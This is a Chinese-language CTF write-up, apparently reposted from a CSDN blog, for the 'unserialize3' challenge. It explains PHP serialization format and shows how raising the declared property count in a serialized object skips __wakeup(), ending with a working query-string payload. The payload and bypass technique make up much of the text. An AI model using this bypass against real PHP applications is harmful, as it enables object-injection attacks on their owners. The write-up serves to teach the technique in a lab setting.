攻防世界unserialize3学习

【考察点】
①绕过_wakeup()过滤机制
②序列化与反序列化的原理与格式
③利用类代码序列化的方法
④两个函数

serialize()     //将一个对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

【知识点】
①序列化后格式为
public属性序列化后格式为:数据类型:属性名长度:“属性名”;数据类型:属性值长度:“属性值”
②反序列化与_wakeup函数的关系
执行unserialize()时,先会调用__wakeup()
且当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()

如正常O:4:"xctf":1:{
    
    s:4:"flag";s:3:"111";}#(即只有一个1这个属性值)
异常O:4:"xctf":2:{
    
    s:4:"flag";s:3:"111";}#即可绕过_wakeup的代码
#知识点
#O呢就是object对象的意思
#数字7代表着对象的函数名有7个占位
#然后就是对象名了
#这个数字1表示对象里有一个变量
#大括号里的s代表的是string类型还有一个i是int型

题目分析
进入后发觉是
在这里插入图片描述
即定义了flag=‘111’;
且涉及到_wakeup(),即思考与序列化和反序列化相关的题目
因为要绕过_wakeup()
因此需要将其序列化后,改类型值,从而实现绕过_wakeup()的目的
因此补全代码

<?php
class xctf{
    
    
public $flag = '111';
public function __wakeup(){
    
    
exit('bad requests');
}}
$x=new xctf();
echo serialize($x);
?>

然后得到
O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
然后更改类型值为2
O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
构造payload
/?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
成功绕过

又如

<?php
$x='';
print (serialize("$x"));
?>
#s:0:"";

猜你喜欢

转载自blog.csdn.net/qq_33942040/article/details/108015147